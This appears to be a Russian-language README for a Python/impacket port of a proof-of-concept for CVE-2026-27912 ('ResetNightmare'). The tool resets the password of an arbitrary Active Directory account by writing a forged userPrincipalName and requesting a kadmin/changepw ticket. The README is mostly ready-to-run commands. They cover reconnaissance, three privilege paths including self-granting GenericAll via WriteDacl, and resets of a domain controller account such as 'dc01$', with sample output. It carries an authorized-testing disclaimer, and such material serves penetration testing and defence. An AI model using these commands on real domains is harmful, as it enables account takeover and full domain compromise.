
CVE-2026-27912 (ResetNightmare) — Linux/impacket-порт PoC Invoke-ResetNightmare от Semperis Community
Инструмент для Linux / impacket для CVE-2026-27912 ("ResetNightmare"). Сбрасывает пароль целевой учётной записи Active Directory путём запроса TGT kadmin/changepw для принципала NT_ENTERPRISE, имя которого совпадает с sAMAccountName цели, используя учётную запись (UPNUser), в которую мы можем записать поддельный userPrincipalName.
Python-порт PowerShell-инструмента Semperis Community Invoke-ResetNightmare (см. Благодарности).
Только для авторизованного тестирования безопасности и образовательных целей. Этот инструмент изменяет реальные учётные данные Active Directory и может заблокировать учётные записи.
GenericAll, задать его пароль, включить его.sAMAccountName цели.UPNUser.userPrincipalName = <targetSAN> (поддельный UPN).NT_ENTERPRISE '<targetSAN>' для kadmin/changepw — KDC сопоставляет enterprise UPN с целью и выдаёт для неё TGT для смены пароля.--upn-user--upn-user — это учётная запись, в которую вы записываете поддельный UPN (пользователь или компьютер с --computer). Единственное требование — вы можете записать её userPrincipalName. Есть три способа получить это — те же, на которые опирается оригинал на PowerShell:
| # | Как вы получаете право записи UPN | Флаг | Нужен ли OU? |
|---|---|---|---|
| A | Создать учётную запись в OU, где у вас есть Create Child → вы её владелец → инструмент сам выдаёт GenericAll → записывает UPN | --create-new-path | Да |
| B | Существующая учётная запись, на которую у вас уже есть GenericWrite / GenericAll / WriteProperty(userPrincipalName) | (нет) | Нет |
| C | Существующая учётная запись, которой вы владеете или на которую у вас есть WriteDacl (без прямой записи свойства) | --grant-self | Нет |
Таким образом, вам не обязательно контролировать OU — путь B работает на основе делегированных прав на любой отдельной учётной записи. Но вам нужен один из A/B/C. Запустите --find, чтобы увидеть, какой из них у вас есть.
Одного доменного компьютера недостаточно. Машина, на которой вы локальный администратор / для которой у вас есть хеш, но без прав записи в AD, не даёт вам ни A, ни B, ни C. И компьютер, созданный через MachineAccountQuota (
addcomputer.pyвCN=Computers), тоже не подходит: его создатель не является владельцем и не получает права записи UPN, поэтому и прямая запись, и--grant-selfзавершаются сresult 50. Используйте путь A с делегированным OU.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Учётные данные оператора передаются первым позиционным аргументом: [domain/]username[:password].
Пароль можно опустить — тогда система запросит его.
Разведка — что может использовать эта учётная запись? Выводит отчёт об учётных записях, для которых вы можете записать UPN, подразделениях (OU), в которых вы можете создавать объекты, и MachineAccountQuota, с предлагаемыми командами:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Каждая находка выводит свои причины via: и owner: объекта. Владелец позволяет
сразу различить два пути создания компьютера — компьютер, созданный через делегированный контейнер, показывает
owner: <you> (у вас есть неявный WRITE_DAC, поэтому --grant-self работает), тогда как MAQ /
CN=Computers показывает owner: BUILTIN\Administrators (у вас его нет, поэтому использовать нельзя):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
Сброс цели с использованием учётной записи, для которой можно записать UPN:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Сначала создайте учётную запись UPN (требуется право Create Child на OU и LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Создайте учётную запись компьютера как учётную запись UPN (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Существующая учётная запись, в которой вы можете переписать DACL, но не можете записать UPN (--grant-self).
Когда --find сообщает о --upn-user, достижимом через Owner или WriteDacl (вы можете
изменить его ACL, но не имеете прямого права записи свойства), --grant-self сначала добавляет для
вас ACE GenericAll, после чего атака продолжается. Только для существующих учётных записей — --create-new-path
уже выдаёт права самому себе.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Если сам
--grant-selfзавершается сresult 50, вы не являетесь владельцем и не имеете WriteDacl на этой учётной записи — это не поможет. Это обычный исход для компьютера, который вы создали черезaddcomputer.py/MAQ: создатели обычно не получают ни владения, ни права записи UPN, поэтому компьютеры MAQ не подходят для использования в качестве--upn-user. Запустите--findи выберите учётную запись, которую он отметит какWriteProperty(userPrincipalName),GenericWrite,GenericAll,OwnerилиWriteDacl.
Добавьте -debug для подробного логирования AS-REQ / LDAP / kpasswd.